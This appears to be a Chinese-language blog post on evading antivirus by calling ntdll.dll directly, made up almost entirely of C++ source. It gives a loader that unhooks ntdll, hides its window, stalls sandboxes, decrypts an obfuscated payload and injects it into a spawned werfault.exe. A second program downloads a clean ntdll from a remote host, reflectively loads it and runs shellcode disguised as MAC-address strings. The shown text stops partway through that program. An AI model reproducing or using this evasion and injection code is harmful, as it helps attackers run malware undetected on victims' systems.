Ntdll调用

2023/12/25 bypass 共 23003 字,约 66 分钟

规避杀软调用Ntdll.dll

Ntdll调用

ntdll脱钩

ntdll.cpp

#include "ntdll.h"

NT_CREATE_SECTION NtCreateSection = NULL;
NT_MAP_VIEW_OF_SECTION NtMapViewOfSection = NULL;
NT_UNMAP_VIEW_OF_SECTION NtUnmapViewOfSection = NULL;
NT_WRITE_VIRTUAL_MEMORY NtWriteVirtualMemory = NULL;
RTL_INIT_UNICODE_STRING RtlInitUnicodeString = NULL;
RTL_CREATE_PROCESS_PARAMETERS RtlCreateProcessParameters = NULL;
RTL_CREATE_USER_PROCESS RtlCreateUserProcess = NULL;
RTL_CREATE_USER_THREAD RtlCreateUserThread = NULL;
NT_WAIT_FOR_SINGLE_OBJECT NtWaitForSingleObject = NULL;
NT_CLOSE NtClose = NULL;

void unhookNtdll(HMODULE ntdll)
{
	HANDLE currentProcess = GetCurrentProcess();
	MODULEINFO ntdllInformation = {};

	GetModuleInformation(currentProcess, ntdll, &ntdllInformation, sizeof(ntdllInformation));
	LPVOID ntdllBase = (LPVOID)ntdllInformation.lpBaseOfDll;
	HANDLE ntdllFile = CreateFileA("C:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
	HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
	LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);

	PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
	PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);

	for (int i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++)
	{
		PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));

		if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text"))
		{
			DWORD oldProtection = 0;
			bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
			memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);
			isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
		}
	}

	CloseHandle(ntdllFile);
	CloseHandle(ntdllMapping);
}

void loadNtdll(HMODULE ntdll)
{
	NtCreateSection = (NT_CREATE_SECTION)GetProcAddress(ntdll, "NtCreateSection");
	NtMapViewOfSection = (NT_MAP_VIEW_OF_SECTION)GetProcAddress(ntdll, "NtMapViewOfSection");
	NtUnmapViewOfSection = (NT_UNMAP_VIEW_OF_SECTION)GetProcAddress(ntdll, "NtUnmapViewOfSection");
	NtWriteVirtualMemory = (NT_WRITE_VIRTUAL_MEMORY)GetProcAddress(ntdll, "NtWriteVirtualMemory");
	RtlInitUnicodeString = (RTL_INIT_UNICODE_STRING)GetProcAddress(ntdll, "RtlInitUnicodeString");
	RtlCreateProcessParameters = (RTL_CREATE_PROCESS_PARAMETERS)GetProcAddress(ntdll, "RtlCreateProcessParameters");
	RtlCreateUserProcess = (RTL_CREATE_USER_PROCESS)GetProcAddress(ntdll, "RtlCreateUserProcess");
	RtlCreateUserThread = (RTL_CREATE_USER_THREAD)GetProcAddress(ntdll, "RtlCreateUserThread");
	NtWaitForSingleObject = (NT_WAIT_FOR_SINGLE_OBJECT)GetProcAddress(ntdll, "NtWaitForSingleObject");
	NtClose = (NT_CLOSE)GetProcAddress(ntdll, "NtClose");
}

void checkNtStatus(NTSTATUS status)
{
	if (!NT_SUCCESS(status))
	{
		exit(1);
	}
}

ntdll.h

#pragma once

#include <Windows.h>
#include <psapi.h>

#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)

/* enums */
typedef enum _SECTION_INHERIT {
	ViewShare = 1,
	ViewUnmap = 2
} SECTION_INHERIT, * PSECTION_INHERIT;


/* structs */
typedef struct _UNICODE_STRING {
	USHORT Length;
	USHORT MaximumLength;
	PWSTR  Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {
	ULONG Length;
	HANDLE RootDirectory;
	PUNICODE_STRING ObjectName;
	ULONG Attributes;
	PVOID SecurityDescriptor;
	PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;

typedef struct _CLIENT_ID {
	HANDLE UniqueProcess;
	HANDLE UniqueThread;
} CLIENT_ID, * PCLIENT_ID;

typedef struct _RTL_DRIVE_LETTER_CURDIR {
	USHORT Flags;
	USHORT Length;
	ULONG TimeStamp;
	UNICODE_STRING DosPath;
} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR;

typedef struct _SECTION_IMAGE_INFORMATION {
	PVOID EntryPoint;
	ULONG StackZeroBits;
	ULONG StackReserved;
	ULONG StackCommit;
	ULONG ImageSubsystem;
	WORD SubSystemVersionLow;
	WORD SubSystemVersionHigh;
	ULONG Unknown1;
	ULONG ImageCharacteristics;
	ULONG ImageMachineType;
	ULONG Unknown2[3];
} SECTION_IMAGE_INFORMATION, * PSECTION_IMAGE_INFORMATION;

typedef struct _RTL_USER_PROCESS_PARAMETERS {
	ULONG MaximumLength;
	ULONG Length;
	ULONG Flags;
	ULONG DebugFlags;
	PVOID ConsoleHandle;
	ULONG ConsoleFlags;
	HANDLE StdInputHandle;
	HANDLE StdOutputHandle;
	HANDLE StdErrorHandle;
	UNICODE_STRING CurrentDirectoryPath;
	HANDLE CurrentDirectoryHandle;
	UNICODE_STRING DllPath;
	UNICODE_STRING ImagePathName;
	UNICODE_STRING CommandLine;
	PVOID Environment;
	ULONG StartingPositionLeft;
	ULONG StartingPositionTop;
	ULONG Width;
	ULONG Height;
	ULONG CharWidth;
	ULONG CharHeight;
	ULONG ConsoleTextAttributes;
	ULONG WindowFlags;
	ULONG ShowWindowFlags;
	UNICODE_STRING WindowTitle;
	UNICODE_STRING DesktopName;
	UNICODE_STRING ShellInfo;
	UNICODE_STRING RuntimeData;
	RTL_DRIVE_LETTER_CURDIR DLCurrentDirectory[0x20];
} RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS;

typedef struct _RTL_USER_PROCESS_INFORMATION {
	ULONG Size;
	HANDLE ProcessHandle;
	HANDLE ThreadHandle;
	CLIENT_ID ClientId;
	SECTION_IMAGE_INFORMATION ImageInformation;
} RTL_USER_PROCESS_INFORMATION, * PRTL_USER_PROCESS_INFORMATION;


/* functions */
typedef NTSTATUS(NTAPI* NT_CREATE_SECTION) (
	OUT PHANDLE SectionHandle,
	IN ULONG DesiredAccess,
	IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
	IN PLARGE_INTEGER MaximumSize OPTIONAL,
	IN ULONG PageAttributess,
	IN ULONG SectionAttributes,
	IN HANDLE FileHandle OPTIONAL
	);
extern NT_CREATE_SECTION NtCreateSection;

typedef NTSTATUS(NTAPI* NT_MAP_VIEW_OF_SECTION) (
	IN HANDLE SectionHandle,
	IN HANDLE ProcessHandle,
	IN OUT PVOID* BaseAddress OPTIONAL,
	IN ULONG ZeroBits OPTIONAL,
	IN ULONG CommitSize,
	IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
	IN OUT PULONG ViewSize,
	IN SECTION_INHERIT InheritDisposition,
	IN ULONG AllocationType OPTIONAL,
	IN ULONG Protect
	);
extern NT_MAP_VIEW_OF_SECTION NtMapViewOfSection;

typedef NTSTATUS(NTAPI* NT_UNMAP_VIEW_OF_SECTION) (
	IN HANDLE ProcessHandle,
	IN PVOID BaseAddress
	);
extern NT_UNMAP_VIEW_OF_SECTION NtUnmapViewOfSection;

typedef NTSTATUS(NTAPI* NT_WRITE_VIRTUAL_MEMORY) (
	IN HANDLE ProcessHandle,
	IN PVOID BaseAddress,
	IN PVOID Buffer,
	IN ULONG NumberOfBytesToWrite,
	OUT PULONG NumberOfBytesWritten OPTIONAL
	);
extern NT_WRITE_VIRTUAL_MEMORY NtWriteVirtualMemory;

typedef VOID(NTAPI* RTL_INIT_UNICODE_STRING) (
	OUT PUNICODE_STRING DestinationString,
	IN PCWSTR SourceString OPTIONAL
	);
extern RTL_INIT_UNICODE_STRING RtlInitUnicodeString;

typedef NTSTATUS(NTAPI* RTL_CREATE_PROCESS_PARAMETERS) (
	OUT PRTL_USER_PROCESS_PARAMETERS* ProcessParameters,
	IN PUNICODE_STRING ImagePathName,
	IN PUNICODE_STRING DllPath OPTIONAL,
	IN PUNICODE_STRING CurrentDirectoryPath OPTIONAL,
	IN PUNICODE_STRING CommandLine OPTIONAL,
	IN PVOID Environment OPTIONAL,
	IN PUNICODE_STRING WindowTitle OPTIONAL,
	IN PUNICODE_STRING DesktopName OPTIONAL,
	IN PUNICODE_STRING ShellInfo OPTIONAL,
	IN PUNICODE_STRING RuntimeData OPTIONAL
	);
extern RTL_CREATE_PROCESS_PARAMETERS RtlCreateProcessParameters;

typedef NTSTATUS(NTAPI* RTL_CREATE_USER_PROCESS) (
	IN PUNICODE_STRING ImagePath,
	IN ULONG ObjectAttributes,
	IN OUT PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
	IN PSECURITY_DESCRIPTOR ProcessSecurityDescriptor OPTIONAL,
	IN PSECURITY_DESCRIPTOR ThreadSecurityDescriptor OPTIONAL,
	IN HANDLE ParentProcess,
	IN BOOLEAN InheritHandles,
	IN HANDLE DebugPort OPTIONAL,
	IN HANDLE ExceptionPort OPTIONAL,
	OUT PRTL_USER_PROCESS_INFORMATION ProcessInformation);
extern RTL_CREATE_USER_PROCESS RtlCreateUserProcess;

typedef NTSTATUS(NTAPI* RTL_CREATE_USER_THREAD) (
	IN HANDLE ProcessHandle,
	IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,
	IN BOOLEAN CreateSuspended,
	IN ULONG StackZeroBits,
	IN OUT PULONG StackReserved,
	IN OUT PULONG StackCommit,
	IN PVOID StartAddress,
	IN PVOID StartParameter OPTIONAL,
	OUT PHANDLE ThreadHandle,
	OUT PCLIENT_ID ClientID
	);
extern RTL_CREATE_USER_THREAD RtlCreateUserThread;

typedef NTSTATUS(NTAPI* NT_WAIT_FOR_SINGLE_OBJECT) (
	IN HANDLE ObjectHandle,
	IN BOOLEAN Alertable,
	IN PLARGE_INTEGER TimeOut OPTIONAL
	);
extern NT_WAIT_FOR_SINGLE_OBJECT NtWaitForSingleObject;

typedef NTSTATUS(NTAPI* NT_CLOSE) (
	IN HANDLE ObjectHandle
	);
extern NT_CLOSE NtClose;


/* helper functions */
void unhookNtdll(HMODULE ntdll);
void loadNtdll(HMODULE ntdll);
void checkNtStatus(NTSTATUS status);

main.cpp

#include <iostream>
#include <Windows.h>
#include <string>
#include "ntdll.h"
#include "base64.h"
#include "resource.h"

#define LARGE_NUMBER 500000
#define INJECTED_PROCESS_NAME L"\\??\\C:\\Windows\\System32\\werfault.exe"

void sleep();
const std::string loadPayload();

int main(int argc, char** argv)
{
	ShowWindow(GetConsoleWindow(), SW_HIDE);
	sleep();

	HMODULE ntdll = LoadLibrary(TEXT("ntdll.dll"));
	if (ntdll == NULL)
	{
		exit(1);
	}
	unhookNtdll(ntdll);
	loadNtdll(ntdll);

	const std::string payload = loadPayload();
	SIZE_T size = payload.size();
	LARGE_INTEGER sectionSize = { size };
	HANDLE currentProcess = GetCurrentProcess();
	HANDLE section = NULL;
	PVOID localSection = NULL, targetSection = NULL;
	PRTL_USER_PROCESS_INFORMATION targetProcessInformation = NULL;
	PRTL_USER_PROCESS_PARAMETERS targetProcessParameters = NULL;
	UNICODE_STRING imagePathName = {};
	HANDLE targetProcessThread = NULL;
	NTSTATUS status = NULL;

	status = NtCreateSection(&section, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)&sectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
	checkNtStatus(status);

	status = NtMapViewOfSection(section, currentProcess, &localSection, NULL, NULL, NULL, (PULONG)&size, ViewUnmap, NULL, PAGE_READWRITE);
	checkNtStatus(status);

	RtlInitUnicodeString(&imagePathName, INJECTED_PROCESS_NAME);

	status = RtlCreateProcessParameters(&targetProcessParameters, &imagePathName, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
	checkNtStatus(status);

	targetProcessInformation = (PRTL_USER_PROCESS_INFORMATION)malloc(sizeof(PRTL_USER_PROCESS_INFORMATION));
	status = RtlCreateUserProcess(&imagePathName, NULL, targetProcessParameters, NULL, NULL, currentProcess, FALSE, NULL, NULL, targetProcessInformation);
	checkNtStatus(status);

	status = NtMapViewOfSection(section, targetProcessInformation->ProcessHandle, &targetSection, NULL, NULL, NULL, (PULONG)&size, ViewUnmap, NULL, PAGE_EXECUTE_READ);
	checkNtStatus(status);

	status = NtWriteVirtualMemory(currentProcess, localSection, (PVOID)payload.c_str(), size, NULL);
	checkNtStatus(status);

	status = RtlCreateUserThread(targetProcessInformation->ProcessHandle, NULL, FALSE, 0, 0, 0, targetSection, NULL, &targetProcessThread, NULL);
	checkNtStatus(status);

	status = NtWaitForSingleObject(targetProcessThread, FALSE, NULL);
	checkNtStatus(status);

	status = NtClose(targetProcessThread);
	checkNtStatus(status);
	status = NtUnmapViewOfSection(targetProcessInformation->ProcessHandle, targetSection);
	checkNtStatus(status);
	status = NtClose(targetProcessInformation->ProcessHandle);
	checkNtStatus(status);
	free(targetProcessInformation);

	status = NtUnmapViewOfSection(currentProcess, localSection);
	checkNtStatus(status);
	status = NtClose(section);
	checkNtStatus(status);

	FreeLibrary(ntdll);

	return 0;
}

void sleep()
{
	for (int i = 0; i <= LARGE_NUMBER; i++)
	{
		for (int j = 2; j <= i / 2; j++)
		{
			if (i % j == 0)
			{
				break;
			}
		}
	}
}

const std::string loadPayload()
{
	HRSRC keyResource = FindResource(NULL, MAKEINTRESOURCE(IDR_KEY1), L"key");
	DWORD keySize = SizeofResource(NULL, keyResource);
	HGLOBAL keyResourceHandle = LoadResource(NULL, keyResource);
	char* key = (char*)LockResource(keyResourceHandle);

	HRSRC obfuscatedPayloadResource = FindResource(NULL, MAKEINTRESOURCE(IDR_OBFUSCATEDPAYLOAD1), L"obfuscatedPayload");
	HGLOBAL obfuscatedPayloadResourceHandle = LoadResource(NULL, obfuscatedPayloadResource);
	char* obfuscatedPayload = (char*)LockResource(obfuscatedPayloadResourceHandle);
	const std::string encryptedPayload = base64_decode(obfuscatedPayload);
	size_t encryptedPayloadSize = encryptedPayload.size();
	std::string payload = "";

	int keyIndex = 0;
	for (int i = 0; i < encryptedPayloadSize; i += 4)
	{
		std::string currentByte = std::string() + encryptedPayload[i] + encryptedPayload[i + 1] + encryptedPayload[i + 2] + encryptedPayload[i + 3];
		payload += stol(currentByte, nullptr, 0) ^ key[keyIndex++ % keySize];
	}

	FreeResource(keyResourceHandle);
	FreeResource(obfuscatedPayloadResource);

	return payload;
}

反射注入ntdll

#include <Windows.h>
#include <stdio.h>
#include <Rpc.h>
#include <vector>
#include <psapi.h>
#include <winhttp.h>
#include <winternl.h>
#include <Ip2string.h>

#pragma comment(lib, "ntdll")
#pragma comment(lib, "winhttp")

#define NtCurrentProcess()	   ((HANDLE)-1)

#define _CRT_SECURE_NO_WARNINGS
#pragma warning(disable:4996)

#pragma comment(lib, "Rpcrt4.lib")

#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif


struct DLL {

    LPVOID ntdll;
    DWORD size;

};


typedef NTSTATUS (*_NtAllocateVirtualMemory)(
    HANDLE    ProcessHandle,
    PVOID* BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T   RegionSize,
    ULONG     AllocationType,
    ULONG     Protect
);

typedef NTSTATUS (*_NtProtectVirtualMemory)(
    IN HANDLE ProcessHandle,
    IN OUT PVOID* BaseAddress,
    IN OUT PSIZE_T RegionSize,
    IN ULONG NewProtect,
    OUT PULONG OldProtect);



typedef NTSTATUS (*_NtCreateThreadEx)(
    OUT PHANDLE hThread,
    IN ACCESS_MASK DesiredAccess,
    IN PVOID ObjectAttributes,
    IN HANDLE ProcessHandle,
    IN PVOID lpStartAddress,
    IN PVOID lpParameter,
    IN ULONG Flags,
    IN SIZE_T StackZeroBits,
    IN SIZE_T SizeOfStackCommit,
    IN SIZE_T SizeOfStackReserve,
    OUT PVOID lpBytesBuffer
);

typedef NTSTATUS (*_NtWaitForSingleObject)(
    IN HANDLE         Handle,
    IN BOOLEAN        Alertable,
    IN PLARGE_INTEGER Timeout
);



DLL GetNtdll(wchar_t* whost, DWORD port, wchar_t* wresource) {
    struct DLL dll;
    std::vector<unsigned char> PEbuf;
    DWORD dwSize = 0;
    DWORD dwDownloaded = 0;
    LPSTR pszOutBuffer = NULL;
    BOOL  bResults = FALSE;
    HINTERNET  hSession = NULL,
        hConnect = NULL,
        hRequest = NULL;
    // Use WinHttpOpen to obtain a session handle.
    hSession = WinHttpOpen(L"WinHTTP Example/1.0",
        WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
        WINHTTP_NO_PROXY_NAME,
        WINHTTP_NO_PROXY_BYPASS, 0);


    // Specify an HTTP server.
    if (hSession)
        hConnect = WinHttpConnect(hSession, whost,
            port, 0);
    else
        printf("Failed in WinHttpConnect (%u)\n", GetLastError());

    // Create an HTTP request handle.
    if (hConnect)
        hRequest = WinHttpOpenRequest(hConnect, L"GET", wresource,
            NULL, WINHTTP_NO_REFERER,
            WINHTTP_DEFAULT_ACCEPT_TYPES,
            NULL);
    else
        printf("Failed in WinHttpOpenRequest (%u)\n", GetLastError());

    // Send a request.
    if (hRequest)
        bResults = WinHttpSendRequest(hRequest,
            WINHTTP_NO_ADDITIONAL_HEADERS,
            0, WINHTTP_NO_REQUEST_DATA, 0,
            0, 0);
    else
        printf("Failed in WinHttpSendRequest (%u)\n", GetLastError());

    // End the request.
    if (bResults)
        bResults = WinHttpReceiveResponse(hRequest, NULL);
    else printf("Failed in WinHttpReceiveResponse (%u)\n", GetLastError());

    // Keep checking for data until there is nothing left.
    if (bResults)
        do
        {
            // Check for available data.
            dwSize = 0;
            if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
                printf("Error %u in WinHttpQueryDataAvailable (%u)\n", GetLastError());

            // Allocate space for the buffer.
            pszOutBuffer = new char[dwSize + 1];
            if (!pszOutBuffer)
            {
                printf("Out of memory\n");
                dwSize = 0;
            }
            else
            {
                // Read the Data.
                ZeroMemory(pszOutBuffer, dwSize + 1);

                if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer,
                    dwSize, &dwDownloaded))
                    printf("Error %u in WinHttpReadData.\n", GetLastError());
                else {


                    PEbuf.insert(PEbuf.end(), pszOutBuffer, pszOutBuffer + dwDownloaded);

                    // Unhook NTDLL;
                    //Unhook((LPVOID)pszOutBuffer);

                }
                delete[] pszOutBuffer;

            }

        } while (dwSize > 0);

        if (PEbuf.empty() == TRUE)
        {
            printf("Failed in retrieving the PE");
        }

        // Report any errors.
        if (!bResults)
            printf("Error %d has occurred.\n", GetLastError());

        // Close any open handles.
        if (hRequest) WinHttpCloseHandle(hRequest);
        if (hConnect) WinHttpCloseHandle(hConnect);
        if (hSession) WinHttpCloseHandle(hSession);

        size_t size = PEbuf.size();

        char* ntdll = (char*)malloc(size);
        for (int i = 0; i < PEbuf.size(); i++) {
            ntdll[i] = PEbuf[i];
        }
        dll.ntdll = ntdll;
        dll.size = size;
        return dll;
}



BOOL isItHooked(LPVOID addr) {
    BYTE stub[] = "\x4c\x8b\xd1\xb8";
    if (memcmp(addr, stub, 4) != 0)
        return TRUE;
    return FALSE;
}

PVOID BaseAddress = NULL;
SIZE_T dwSize = 0x2000;


HANDLE hThread;
DWORD OldProtect = 0;



HANDLE hHostThread = INVALID_HANDLE_VALUE;



int main(int argc, char** argv) {
    
    // Validate the parameters
    if (argc != 3) {
        printf("[+] Usage: %s <RemoteIP> <RemotePort>\n", argv[0]);
        return 1;
    }


    char* host = argv[1];
    DWORD port = atoi(argv[2]);


    const size_t cSize1 = strlen(host) + 1;
    wchar_t* whost = new wchar_t[cSize1];
    mbstowcs(whost, host, cSize1);



    wchar_t value[255] = { 0x00 };
    DWORD BufferSize = 255;
    RegGetValue(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", L"ReleaseId", RRF_RT_REG_SZ, NULL, &value, &BufferSize);
    wprintf(L"\n\n[+] Windows Version %s Found\n", value);
    int winVersion = _wtoi(value);

    DLL ntdll;

    switch (winVersion) {
    case 1903:
        ntdll = GetNtdll(whost, port, (wchar_t*)L"ntdll1903.dll");
        break;
    case 2004:
        ntdll = GetNtdll(whost, port, (wchar_t*)L"ntdll2004.dll");
        break;
    case 2009:
        ntdll = GetNtdll(whost, port, (wchar_t*)L"ntdll2009.dll");
        break;
    default:
       wprintf(L"[!] Version Offsets Not Found!\n");

    }

    
    printf("\n[+] Got ntdll from %s:%d\n\n", host, port);

    char* dllBytes = (char*)malloc(ntdll.size);
    memcpy(dllBytes, ntdll.ntdll, ntdll.size);


    IMAGE_DOS_HEADER* DOS_HEADER = (IMAGE_DOS_HEADER*)dllBytes;
    IMAGE_NT_HEADERS* NT_HEADER = (IMAGE_NT_HEADERS*)((DWORD64)dllBytes + DOS_HEADER->e_lfanew);

    SIZE_T sizeDll = NT_HEADER->OptionalHeader.SizeOfImage;

    LPVOID alloc_mem = VirtualAlloc(0, sizeDll, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    CopyMemory(alloc_mem, dllBytes, NT_HEADER->OptionalHeader.SizeOfHeaders);

    //load sections into memory
    IMAGE_SECTION_HEADER* SECTION_HEADER = IMAGE_FIRST_SECTION(NT_HEADER);
    for (int i = 0; i < NT_HEADER->FileHeader.NumberOfSections; i++) {

        LPVOID sectionDest = (LPVOID)((DWORD64)alloc_mem + (DWORD64)SECTION_HEADER->VirtualAddress);
        LPVOID sectionSource = (LPVOID)((DWORD64)dllBytes + (DWORD64)SECTION_HEADER->PointerToRawData);
        CopyMemory(sectionDest, sectionSource, SECTION_HEADER->SizeOfRawData);

        SECTION_HEADER++;
    }

    // Copy IAT to memory

    IMAGE_IMPORT_DESCRIPTOR* IMPORT_DATA = (IMAGE_IMPORT_DESCRIPTOR*)((DWORD64)alloc_mem + NT_HEADER->OptionalHeader.DataDirectory[1].VirtualAddress);

    LPCSTR ModuleName = "";
    while (IMPORT_DATA->Name != NULL) {

        ModuleName = (LPCSTR)IMPORT_DATA->Name + (DWORD64)alloc_mem;
        IMAGE_THUNK_DATA* firstThunk;
        HMODULE hmodule = LoadLibraryA(ModuleName);
        if (hmodule) {
            firstThunk = (IMAGE_THUNK_DATA*)((DWORD64)alloc_mem + IMPORT_DATA->FirstThunk);
            for (int i = 0; firstThunk->u1.AddressOfData; firstThunk++) {

                DWORD64 importFn = (DWORD64)alloc_mem + *(DWORD*)firstThunk;
                LPCSTR n = (LPCSTR)((IMAGE_IMPORT_BY_NAME*)importFn)->Name;	// get the name of each imported function 
                *(DWORD64*)firstThunk = (DWORD64)GetProcAddress(hmodule, n);
            }
        }
        IMPORT_DATA++;
    }

    // Copy EAT to memory

    IMAGE_EXPORT_DIRECTORY* EXPORT_DIR = (IMAGE_EXPORT_DIRECTORY*)((DWORD64)alloc_mem + NT_HEADER->OptionalHeader.DataDirectory[0].VirtualAddress);

    DWORD* addrNames = (DWORD*)((DWORD64)alloc_mem + EXPORT_DIR->AddressOfNames);
    DWORD* addrFunction = (DWORD*)((DWORD64)alloc_mem + EXPORT_DIR->AddressOfFunctions);
    WORD* addrOrdinal = (WORD*)((DWORD64)alloc_mem + EXPORT_DIR->AddressOfNameOrdinals);

    DWORD* addrNames1 = addrNames;
    _NtAllocateVirtualMemory pNtAllocateVirtualMemory = NULL;
    char NtAllocateVirtualMemorytxt[] = { 'N','t','A','l','l','o','c','a','t','e','V','i','r','t','u','a','l','M','e','m','o','r','y', 0 };
	for (int index = 0; index < EXPORT_DIR->NumberOfFunctions; index++) {
		char* name = (char*)((DWORD64)alloc_mem + *(DWORD*)addrNames1++);

        //printf("%p\n", ((DWORD64)alloc_mem + addrFunction[addrOrdinal[index]]));
		
        if (strstr(name, NtAllocateVirtualMemorytxt) != NULL) {
			pNtAllocateVirtualMemory = (_NtAllocateVirtualMemory)((DWORD64)alloc_mem + addrFunction[addrOrdinal[index]]);
			break;
		}
        
	}

    
    printf("\n\nntdll mem_addr  =  %p\n\n", alloc_mem);


	if (pNtAllocateVirtualMemory) {
        NTSTATUS status1 = pNtAllocateVirtualMemory(NtCurrentProcess(), &BaseAddress, 0, &dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        if (!NT_SUCCESS(status1)) {
            printf("[!] Failed in NtAllocateVirtualMemory (%u)\n", GetLastError());
            return 1;
        }
        printf("\n[+] NtAllocateVirtualMemory @ %p\n", pNtAllocateVirtualMemory);
        printf("[+] NtAllocatedVirtualMemory Executed !!!\n");
	}
 
    
    const char* MAC[] =
    {
        "FC-48-83-E4-F0-E8",
        "C0-00-00-00-41-51",
        "41-50-52-51-56-48",
        "31-D2-65-48-8B-52",
        "60-48-8B-52-18-48",
        "8B-52-20-48-8B-72",
        "50-48-0F-B7-4A-4A",
        "4D-31-C9-48-31-C0",
        "AC-3C-61-7C-02-2C",
        "20-41-C1-C9-0D-41",
        "01-C1-E2-ED-52-41",
        "51-48-8B-52-20-8B",
        "42-3C-48-01-D0-8B",
        "80-88-00-00-00-48",
        "85-C0-74-67-48-01",
        "D0-50-8B-48-18-44",
        "8B-40-20-49-01-D0",
        "E3-56-48-FF-C9-41",
        "8B-34-88-48-01-D6",
        "4D-31-C9-48-31-C0",
        "AC-41-C1-C9-0D-41",
        "01-C1-38-E0-75-F1",
        "4C-03-4C-24-08-45",
        "39-D1-75-D8-58-44",
        "8B-40-24-49-01-D0",
        "66-41-8B-0C-48-44",
        "8B-40-1C-49-01-D0",
        "41-8B-04-88-48-01",
        "D0-41-58-41-58-5E",
        "59-5A-41-58-41-59",
        "41-5A-48-83-EC-20",
        "41-52-FF-E0-58-41",
        "59-5A-48-8B-12-E9",
        "57-FF-FF-FF-5D-48",
        "BA-01-00-00-00-00",
        "00-00-00-48-8D-8D",
        "01-01-00-00-41-BA",
        "31-8B-6F-87-FF-D5",
        "BB-E0-1D-2A-0A-41",
        "BA-A6-95-BD-9D-FF",
        "D5-48-83-C4-28-3C",
        "06-7C-0A-80-FB-E0",
        "75-05-BB-47-13-72",
        "6F-6A-00-59-41-89",
        "DA-FF-D5-63-61-6C",
        "63-2E-65-78-65-00",
    };
    


    int rowLen = sizeof(MAC) / sizeof(MAC[0]);
    PCSTR Terminator = NULL;
    NTSTATUS STATUS;

    DWORD_PTR ptr = (DWORD_PTR)BaseAddress;
    for (int i = 0; i < rowLen; i++) {
        STATUS = RtlEthernetStringToAddressA((PCSTR)MAC[i], &Terminator, (DL_EUI48*)ptr);
        if (!NT_SUCCESS(STATUS)) {
            return FALSE;
        }
        ptr += 6;

    }

   

    DWORD* addrNames2 = addrNames;
    _NtProtectVirtualMemory pNtProtectVirtualMemory = NULL;
    char NtProtectVirtualMemorytxt[] = { 'N','t','P','r','o','t','e','c','t','V','i','r','t','u','a','l','M','e','m','o','r','y',0 };
    for (int index = 0; index < EXPORT_DIR->NumberOfFunctions; index++) {
        char* name = (char*)((DWORD64)alloc_mem + *(DWORD*)addrNames2++);

        if (strstr(name, NtProtectVirtualMemorytxt) != NULL) {
            pNtProtectVirtualMemory = (_NtProtectVirtualMemory)((DWORD64)alloc_mem + addrFunction[addrOrdinal[index]]);
            break;
        }

    }

   
    if (pNtProtectVirtualMemory) {
        NTSTATUS status2 = pNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, (PSIZE_T)&dwSize, PAGE_EXECUTE_READ, &OldProtect);
        if (!NT_SUCCESS(status2)) {
            printf("[!] Failed in NtProtectVirtualMemory (%u)\n", GetLastError());
            return 1;
        }
        printf("\n[+] NtProtectVirtualMemory @ %p\n", pNtProtectVirtualMemory);
        printf("[+] NtProtectVirtualMemory Executed !!!\n");
    }

   
    DWORD* addrNames3 = addrNames;
    _NtCreateThreadEx pNtCreateThreadEx = NULL;
    char NtCreateThreadExtxt[] = { 'N','t','C','r','e','a','t','e','T','h','r','e','a','d','E','x',0 };
    for (int index = 0; index < EXPORT_DIR->NumberOfFunctions; index++) {
        char* name = (char*)((DWORD64)alloc_mem + *(DWORD*)addrNames3++);

        if (strstr(name, NtCreateThreadExtxt) != NULL) {
            pNtCreateThreadEx = (_NtCreateThreadEx)((DWORD64)alloc_mem + addrFunction[addrOrdinal[index]]);
            break;
        }

    }

    if (pNtCreateThreadEx) {
        NTSTATUS status3 = pNtCreateThreadEx(&hHostThread, 0x1FFFFF, NULL, NtCurrentProcess(), (LPTHREAD_START_ROUTINE)BaseAddress, NULL, FALSE, NULL, NULL, NULL, NULL);
        if (!NT_SUCCESS(status3)) {
            printf("[!] Failed in NtCreateThreadEx (%u)\n", GetLastError());
